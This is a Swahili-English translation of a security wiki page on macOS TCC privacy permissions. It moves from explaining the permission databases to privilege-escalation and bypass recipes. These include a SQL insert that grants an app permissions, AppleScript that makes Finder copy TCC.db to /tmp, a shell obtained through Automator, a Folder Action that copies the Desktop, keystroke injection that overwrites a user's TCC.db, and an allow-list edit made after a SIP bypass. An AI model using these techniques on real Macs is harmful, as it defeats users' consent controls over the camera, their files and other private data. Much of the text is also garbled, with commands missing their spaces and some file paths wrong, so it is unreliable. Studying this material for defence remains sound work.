TCC (Transparency, Consent, and Control) ni itifaki ya usalama inayolenga kudhibiti ruhusa za programu. Jukumu lake kuu ni kulinda vipengele nyeti kama huduma za eneo, mawasiliano, picha, kipaza sauti, kamera, upatikanaji wa urahisi, na upatikanaji wa diski kamili. Kwa kuhitaji idhini wazi ya mtumiaji kabla ya kutoa ruhusa kwa programu kuingia kwenye vipengele hivi, TCC inaboresha faragha na udhibiti wa mtumiaji juu ya data zao.
Watumiaji wanakutana na TCC wakati programu zinapohitaji upatikanaji wa vipengele vilivyolindwa. Hii inaonekana kupitia ujumbe unaowaruhusu watumiaji kuthibitisha au kukataa upatikanaji. Zaidi ya hayo, TCC inaruhusu vitendo vya moja kwa moja vya mtumiaji, kama vile kuvuta na kuweka faili ndani ya programu, ili kutoa upatikanaji wa faili maalum, kuhakikisha kwamba programu zina upatikanaji tu kwa kile kilichoruhusiwa wazi.
An example of a TCC prompt
TCC inashughulikiwa na daemon iliyoko katika /System/Library/PrivateFrameworks/TCC.framework/Support/tccd na imewekwa katika /System/Library/LaunchDaemons/com.apple.tccd.system.plist (ikiandikisha huduma ya mach com.apple.tccd.system).
Kuna tccd ya hali ya mtumiaji inayotembea kwa kila mtumiaji aliyeingia iliyofafanuliwa katika /System/Library/LaunchAgents/com.apple.tccd.plist ikisajili huduma za mach com.apple.tccd na com.apple.usernotifications.delegate.com.apple.tccd.
Hapa unaweza kuona tccd ikifanya kazi kama mfumo na kama mtumiaji:
Permissions are zinarithiwa kutoka kwa programu ya mzazi na permissions zinarekodiwa kulingana na Bundle ID na Developer ID.
TCC Databases
Ruhusa/zuia zinahifadhiwa katika baadhi ya hifadhidata za TCC:
Hifadhidata ya mfumo mzima katika /Library/Application Support/com.apple.TCC/TCC.db.
Hifadhidata hii imekingwa na SIP, hivyo ni lazima kupita SIP ili kuandika ndani yake.
Hifadhidata ya mtumiaji TCC $HOME/Library/Application Support/com.apple.TCC/TCC.db kwa mapendeleo ya mtumiaji binafsi.
Hifadhidata hii imekingwa hivyo ni lazima michakato yenye ruhusa za juu za TCC kama Upatikanaji wa Disk Kamili iweze kuandika ndani yake (lakini haijakingwa na SIP).
Hifadhidata za awali pia zimekingwa na TCC kwa ufikiaji wa kusoma. Hivyo hutoweza kusoma hifadhidata yako ya mtumiaji wa kawaida wa TCC isipokuwa inatoka kwa mchakato wenye ruhusa za TCC.
Hata hivyo, kumbuka kwamba mchakato wenye ruhusa hizi za juu (kama FDA au kTCCServiceEndpointSecurityClient) utaweza kuandika hifadhidata ya TCC ya watumiaji.
Kuna hifadhidata ya tatu ya TCC katika /var/db/locationd/clients.plist kuonyesha wateja walio ruhusiwa kufikia huduma za eneo.
Faili iliyo kingwa na SIP /Users/carlospolop/Downloads/REG.db (pia imekingwa kutoka kwa ufikiaji wa kusoma na TCC), ina eneo la hifadhidata zote za TCC halali.
Faili iliyo kingwa na SIP /Users/carlospolop/Downloads/MDMOverrides.plist (pia imekingwa kutoka kwa ufikiaji wa kusoma na TCC), ina ruhusa zaidi za TCC zilizotolewa.
Faili iliyo kingwa na SIP /Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist (inaweza kusomwa na mtu yeyote) ni orodha ya ruhusa za programu zinazohitaji ubaguzi wa TCC.
Hifadhidata ya TCC katika iOS iko katika /private/var/mobile/Library/TCC/TCC.db
Kituo cha arifa UI kinaweza kufanya mabadiliko katika hifadhidata ya TCC ya mfumo:
Hata hivyo, watumiaji wanaweza kufuta au kuuliza sheria kwa kutumia tccutil zana ya amri.
Uliza hifadhidata
sqlite3~/Library/Application\ Support/com.apple.TCC/TCC.dbsqlite> .schema# Tables: admin, policies, active_policy, access, access_overrides, expired, active_policy_id# The table access contains the permissions per servicessqlite> selectservice,client,auth_value,auth_reasonfromaccess;kTCCServiceLiverpool|com.apple.syncdefaultsd|2|4kTCCServiceSystemPolicyDownloadsFolder|com.tinyspeck.slackmacgap|2|2kTCCServiceMicrophone|us.zoom.xos|2|2[...]# Check user approved permissions for telegramsqlite> select*fromaccesswhereclientLIKE"%telegram%"andauth_value=2;# Check user denied permissions for telegramsqlite> select*fromaccesswhereclientLIKE"%telegram%"andauth_value=0;
sqlite3/Library/Application\ Support/com.apple.TCC/TCC.dbsqlite> .schema# Tables: admin, policies, active_policy, access, access_overrides, expired, active_policy_id# The table access contains the permissions per servicessqlite> selectservice,client,auth_value,auth_reasonfromaccess;kTCCServiceLiverpool|com.apple.syncdefaultsd|2|4kTCCServiceSystemPolicyDownloadsFolder|com.tinyspeck.slackmacgap|2|2kTCCServiceMicrophone|us.zoom.xos|2|2[...]# Get all FDAsqlite> select service, client, auth_value, auth_reason from access where service = "kTCCServiceSystemPolicyAllFiles" and auth_value=2;
# Check user approved permissions for telegramsqlite> select*fromaccesswhereclientLIKE"%telegram%"andauth_value=2;# Check user denied permissions for telegramsqlite> select*fromaccesswhereclientLIKE"%telegram%"andauth_value=0;
Kuangalia hifadhidata zote mbili unaweza kuangalia ruhusa ambazo programu imekubali, imekataza, au haina (itauliza).
The service is the TCC permission string representation
The client is the bundle ID or path to binary with the permissions
The client_type indicates whether it’s a Bundle Identifier(0) or an absolute path(1)
How to execute if it's an absolute path
Just do launctl load you_bin.plist, with a plist like:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"><plistversion="1.0"><dict><!-- Label for the job --><key>Label</key><string>com.example.yourbinary</string><!-- The path to the executable --><key>Program</key><string>/path/to/binary</string><!-- Arguments to pass to the executable (if any) --><key>ProgramArguments</key><array><string>arg1</string><string>arg2</string></array><!-- Run at load --><key>RunAtLoad</key><true/><!-- Keep the job alive, restart if necessary --><key>KeepAlive</key><true/><!-- Standard output and error paths (optional) --><key>StandardOutPath</key><string>/tmp/YourBinary.stdout</string><key>StandardErrorPath</key><string>/tmp/YourBinary.stderr</string></dict></plist>
auth_value inaweza kuwa na thamani tofauti: denied(0), unknown(1), allowed(2), au limited(3).
auth_reason inaweza kuchukua thamani zifuatazo: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12)
Uwanja wa csreq upo ili kuonyesha jinsi ya kuthibitisha binary ya kutekeleza na kutoa ruhusa za TCC:
# Query to get cserq in printable hexselect service, client, hex(csreq) from access where auth_value=2;# To decode it (https://stackoverflow.com/questions/52706542/how-to-get-csreq-of-macos-application-on-command-line):BLOB="FADE0C000000003000000001000000060000000200000012636F6D2E6170706C652E5465726D696E616C000000000003"echo"$BLOB"|xxd-r-p>terminal-csreq.bincsreq-r--t<terminal-csreq.bin# To create a new one (https://stackoverflow.com/questions/52706542/how-to-get-csreq-of-macos-application-on-command-line):
REQ_STR=$(codesign-d-r-/Applications/Utilities/Terminal.app/2>&1|awk-F' => ''/designated/{print $2}')echo"$REQ_STR"|csreq-r--b/tmp/csreq.binREQ_HEX=$(xxd-p/tmp/csreq.bin|tr-d'\n')echo"X'$REQ_HEX'"
Unaweza pia kuangalia idhini zilizotolewa tayari kwa programu katika System Preferences --> Security & Privacy --> Privacy --> Files and Folders.
Watumiaji wanawezakufuta au kuuliza sheria kwa kutumia tccutil.
Rejesha ruhusa za TCC
# You can reset all the permissions given to an application withtccutilresetAllapp.some.id# Reset the permissions granted to all appstccutilresetAll
TCC Signature Checks
TCC database inahifadhi Bundle ID ya programu, lakini pia inahifadhihabari kuhusu sahihi ili kuhakikisha App inayotaka kutumia ruhusa ni sahihi.
# From sqlitesqlite> selectservice,client,hex(csreq) fromaccesswhereauth_value=2;#Get csreq# From bashecho FADE0C00000000CC000000010000000600000007000000060000000F0000000E000000000000000A2A864886F763640601090000000000000000000600000006000000060000000F0000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A364E33385657533542580000000000020000001572752E6B656570636F6465722E54656C656772616D000000 | xxd -r -p - > /tmp/telegram_csreq.bin
## Get signature checkscsreq-t-r/tmp/telegram_csreq.bin(anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = "6N38VWS5BX") and identifier "ru.keepcoder.Telegram"
Kwa hivyo, programu nyingine zinazotumia jina sawa na ID ya kifurushi hazitaweza kupata ruhusa zilizotolewa kwa programu nyingine.
Haki & Ruhusa za TCC
Programu hazihitaji tukuomba na kuwa zimepewa ruhusa kwa baadhi ya rasilimali, zinahitaji pia kuwa na haki zinazofaa.
Kwa mfano, Telegram ina haki com.apple.security.device.camera kuomba ruhusa ya kutumia kamera. Programu ambayohaina haki hii haitaweza kupata kamera (na mtumiaji hataulizwa kuhusu ruhusa).
Hata hivyo, ili programu zipatekufikiafolda fulani za mtumiaji, kama vile ~/Desktop, ~/Downloads na ~/Documents, hazihitaji kuwa na haki maalum zaidi. Mfumo utaendesha ufikiaji kwa uwazi na kuuliza mtumiaji inapohitajika.
Programu za Apple hazitaunda maonyesho. Zinajumuisha haki zilizotolewa mapema katika orodha yao ya haki, ikimaanisha hazita unda popup kamwe, wala hazitaonekana katika yoyote ya maktaba za TCC. Kwa mfano:
Hii itazuia Calendar kuomba mtumiaji kupata kumbukumbu, kalenda na kitabu cha anwani.
Mbali na baadhi ya nyaraka rasmi kuhusu ruhusa, pia inawezekana kupata habari za kuvutia kuhusu ruhusa katikahttps://newosxbook.com/ent.jl
Baadhi ya ruhusa za TCC ni: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotos... Hakuna orodha ya umma inayofafanua zote lakini unaweza kuangalia hii orodha ya zinazojulikana.
Mahali nyeti yasiyolindwa
$HOME (mwenyewe)
$HOME/.ssh, $HOME/.aws, nk
/tmp
Nia ya Mtumiaji / com.apple.macl
Kama ilivyotajwa hapo awali, inawezekana kutoa ufikiaji kwa App kwa faili kwa kuhamasisha na kuacha. Ufikiaji huu hautatajwa katika yoyote TCC database lakini kama sifapanua ya faili. Sifa hii itahifadhi UUID ya app iliyoidhinishwa:
xattrDesktop/private.txtcom.apple.macl# Check extra access to the file## Script from https://gist.githubusercontent.com/brunerd/8bbf9ba66b2a7787e1a6658816f3ad3b/raw/34cabe2751fb487dc7c3de544d1eb4be04701ac5/maclTrack.command
macl_readDesktop/private.txtFilename,Header,AppUUID"Desktop/private.txt",0300,769FD8F1-90E0-3206-808C-A8947BEBD6C3# Get the UUID of the appotool-l/System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal|grepuuiduuid769FD8F1-90E0-3206-808C-A8947BEBD6C3
Ni ya kushangaza kwamba sifa ya com.apple.macl inasimamiwa na Sandbox, si tccd.
Pia kumbuka kwamba ikiwa unahamisha faili inayoruhusu UUID ya programu kwenye kompyuta yako kwenda kwenye kompyuta tofauti, kwa sababu programu hiyo hiyo itakuwa na UIDs tofauti, haitatoa ufikiaji kwa programu hiyo.
Sifa ya kupanuliwa com.apple.maclhaiwezi kufutwa kama sifa nyingine za kupanuliwa kwa sababu in lindwa na SIP. Hata hivyo, kama ilivyoelezwa katika chapisho hili, inawezekana kuizima kwa kuzipa faili, kuifuta na kuifungua.
TCC Privesc & Bypasses
Ingiza kwenye TCC
Ikiwa kwa wakati fulani unafanikiwa kupata ufikiaji wa kuandika kwenye hifadhidata ya TCC unaweza kutumia kitu kama ifuatavyo kuongeza kipengee (ondoa maoni):
Ingiza kwenye mfano wa TCC
```sql INSERT INTO access ( service, client, client_type, auth_value, auth_reason, auth_version, csreq, policy_id, indirect_object_identifier_type, indirect_object_identifier, indirect_object_code_identity, flags, last_modified, pid, pid_version, boot_uuid, last_reminded ) VALUES ( 'kTCCServiceSystemPolicyDesktopFolder', -- service 'com.googlecode.iterm2', -- client 0, -- client_type (0 - bundle id) 2, -- auth_value (2 - allowed) 3, -- auth_reason (3 - "User Set") 1, -- auth_version (always 1) X'FADE0C00000000C40000000100000006000000060000000F0000000200000015636F6D2E676F6F676C65636F64652E697465726D32000000000000070000000E000000000000000A2A864886F7636406010900000000000000000006000000060000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A483756375859565137440000', -- csreq is a BLOB, set to NULL for now NULL, -- policy_id NULL, -- indirect_object_identifier_type 'UNUSED', -- indirect_object_identifier - default value NULL, -- indirect_object_code_identity 0, -- flags strftime('%s', 'now'), -- last_modified with default current timestamp NULL, -- assuming pid is an integer and optional NULL, -- assuming pid_version is an integer and optional 'UNUSED', -- default value for boot_uuid strftime('%s', 'now') -- last_reminded with default current timestamp ); ```
TCC Payloads
Ikiwa umeweza kuingia ndani ya programu yenye ruhusa za TCC angalia ukurasa ufuatao wenye payloads za TCC ili kuzitumia vibaya:
Jina la TCC la ruhusa ya Automation ni: kTCCServiceAppleEvents
Ruhusa hii maalum ya TCC pia inaonyesha programu ambayo inaweza kudhibitiwa ndani ya database ya TCC (hivyo ruhusa haziruhusu kudhibiti kila kitu).
Finder ni programu ambayo daima ina FDA (hata kama haionekani kwenye UI), hivyo ikiwa una ruhusa za Automation juu yake, unaweza kutumia ruhusa zake ili kufanya vitendo vingine.
Katika kesi hii programu yako itahitaji ruhusa kTCCServiceAppleEvents juu ya com.apple.Finder.
# This AppleScript will copy the system TCC database into /tmposascript<<EODtellapplication"Finder"set homeFolder topath to home folder asstringset sourceFile to (homeFolder &"Library:Application Support:com.apple.TCC:TCC.db") asaliasset targetFolder toPOSIX file"/tmp"asaliasduplicatefile sourceFile to targetFolder with replacingend tellEOD
osascript<<EODtellapplication"Finder"set sourceFile toPOSIX file"/Library/Application Support/com.apple.TCC/TCC.db"asaliasset targetFolder toPOSIX file"/tmp"asaliasduplicatefile sourceFile to targetFolder with replacingend tellEOD
Unaweza kutumia hii ili kuandika database yako ya TCC ya mtumiaji.
Kwa ruhusa hii utaweza kuomba finder kufikia folda zilizozuiliwa za TCC na kukupa faili, lakini kadri ninavyofahamu huwezi kufanya Finder itekeleze msimbo wowote ili kutumia kikamilifu ufikiaji wake wa FDA.
Hivyo, huwezi kutumia uwezo wote wa FDA.
Hii ni prompt ya TCC kupata ruhusa za Automation juu ya Finder:
Kumbuka kwamba kwa sababu programu ya Automator ina ruhusa ya TCC kTCCServiceAppleEvents, inaweza kudhibiti programu yoyote, kama Finder. Hivyo kuwa na ruhusa ya kudhibiti Automator unaweza pia kudhibiti Finder kwa msimbo kama huu hapa chini:
Pata shell ndani ya Automator
```applescript osascript<
tell application "Automator" set actionID to Automator action id "com.apple.RunShellScript" tell (make new workflow) add actionID to it tell last Automator action set value of setting "inputMethod" to 1 set value of setting "COMMAND_STRING" to theScript end tell execute it end tell activate end tell EOD
Once inside the shell you can use the previous code to make Finder copy the TCC databases for example and not TCC prompt will appear
</details>
Vivyo hivyo hutokea na **Script Editor app,** inaweza kudhibiti Finder, lakini kwa kutumia AppleScript huwezi kulazimisha itekeleze script.
### Automation (SE) kwa baadhi ya TCC
**Matukio ya Mfumo yanaweza kuunda Vitendo vya Folda, na vitendo vya folda vinaweza kufikia baadhi ya folda za TCC** (Desktop, Documents & Downloads), hivyo script kama ifuatavyo inaweza kutumika kuboresha tabia hii:
```bash
# Create script to execute with the action
cat > "/tmp/script.js" <<EOD
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("cp -r $HOME/Desktop /tmp/desktop");
EOD
osacompile -l JavaScript -o "$HOME/Library/Scripts/Folder Action Scripts/script.scpt" "/tmp/script.js"
# Create folder action with System Events in "$HOME/Desktop"
osascript <<EOD
tell application "System Events"
-- Ensure Folder Actions are enabled
set folder actions enabled to true
-- Define the path to the folder and the script
set homeFolder to path to home folder as text
set folderPath to homeFolder & "Desktop"
set scriptPath to homeFolder & "Library:Scripts:Folder Action Scripts:script.scpt"
-- Create or get the Folder Action for the Desktop
if not (exists folder action folderPath) then
make new folder action at end of folder actions with properties {name:folderPath, path:folderPath}
end if
set myFolderAction to folder action folderPath
-- Attach the script to the Folder Action
if not (exists script scriptPath of myFolderAction) then
make new script at end of scripts of myFolderAction with properties {name:scriptPath, path:scriptPath}
end if
-- Enable the Folder Action and the script
enable myFolderAction
end tell
EOD
# File operations in the folder should trigger the Folder Action
touch "$HOME/Desktop/file"
rm "$HOME/Desktop/file"
Automation (SE) + Accessibility (kTCCServicePostEvent|kTCCServiceAccessibility) kwa FDA*
Automation kwenye System Events + Accessibility (kTCCServicePostEvent) inaruhusu kutuma mipigo ya funguo kwa michakato. Kwa njia hii unaweza kutumia Finder kubadilisha TCC.db ya watumiaji au kutoa FDA kwa programu yoyote (ingawa neno la siri linaweza kuombwa kwa hili).
Mfano wa Finder kuandika tena TCC.db ya watumiaji:
-- store the TCC.db file to copy in /tmposascript <<EOFtellapplication"System Events"-- Open Findertellapplication"Finder"toactivate-- Open the /tmp directorykeystroke"g" using {command down, shift down}delay1keystroke"/tmp"delay1keystroke returndelay1-- Select and copy the filekeystroke"TCC.db"delay1keystroke"c" using {command down}delay1-- Resolve $HOME environment variableset homePath tosystem attribute"HOME"-- Navigate to the Desktop directory under $HOMEkeystroke"g" using {command down, shift down}delay1keystroke homePath &"/Library/Application Support/com.apple.TCC"delay1keystroke returndelay1-- Check if the file exists in the destination and delete if it does (need to send keystorke code: https://macbiblioblog.blogspot.com/2014/12/key-codes-for-function-and-special-keys.html)
keystroke"TCC.db"delay1keystroke returndelay1key code51 using {command down}delay1-- Paste the filekeystroke"v" using {command down}end tellEOF
Ikiwa una kTCCServiceEndpointSecurityClient, una FDA. Mwisho.
Faili ya Sera ya Mfumo SysAdmin kwa FDA
kTCCServiceSystemPolicySysAdminFiles inaruhusu kubadilisha sifa ya NFSHomeDirectory ya mtumiaji ambayo inabadilisha folda yake ya nyumbani na hivyo inaruhusu kuepuka TCC.
DB ya TCC ya Mtumiaji kwa FDA
Kupata ruhusa za kuandika juu ya database ya TCC ya mtumiaji huwezi kujipa FDA ruhusa, ni yule aliye katika database ya mfumo pekee anayeweza kutoa hiyo.
Lakini unaweza kujipeHaki za Automation kwa Finder, na kutumia mbinu ya awali ili kupandisha hadhi hadi FDA*.
FDA hadi ruhusa za TCC
Upatikanaji wa Disk Kamili ni jina la TCC ni kTCCServiceSystemPolicyAllFiles
Sidhani hii ni privesc halisi, lakini kwa bahati mbaya ukiona inafaida: Ikiwa unadhibiti programu yenye FDA unaweza kubadilisha database ya TCC ya watumiaji na kujipa ufikiaji wowote. Hii inaweza kuwa na manufaa kama mbinu ya kudumu endapo unaweza kupoteza ruhusa zako za FDA.
Kuepuka SIP hadi Kuepuka TCC
Database ya TCC ya mfumo inalindwa na SIP, ndiyo maana ni mchakato pekee wenye entitlements zilizotajwa zitakuwa na uwezo wa kuibadilisha. Hivyo, ikiwa mshambuliaji atapata kuepuka SIP juu ya faili (kuwa na uwezo wa kubadilisha faili iliyozuiliwa na SIP), ataweza:
Kuondoa ulinzi wa database ya TCC, na kujipa ruhusa zote za TCC. Anaweza kutumia faili yoyote kati ya hizi kwa mfano:
Database ya mifumo ya TCC
REG.db
MDMOverrides.plist
Hata hivyo, kuna chaguo lingine la kutumia kuepuka SIP ili kuepuka TCC, faili /Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist ni orodha ya ruhusa za programu zinazohitaji msamaha wa TCC. Hivyo, ikiwa mshambuliaji anaweza kuondoa ulinzi wa SIP kutoka kwa faili hii na kuongeza programu yake mwenyewe programu hiyo itakuwa na uwezo wa kuepuka TCC.
Kwa mfano kuongeza terminal:
# Get needed infocodesign-d-r-/System/Applications/Utilities/Terminal.app
AllowApplicationsList.plist:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"><plistversion="1.0"><dict><key>Services</key><dict><key>SystemPolicyAllFiles</key><array><dict><key>CodeRequirement</key><string>identifier "com.apple.Terminal" and anchor apple</string><key>IdentifierType</key><string>bundleID</string><key>Identifier</key><string>com.apple.Terminal</string></dict></array></dict></dict></plist>
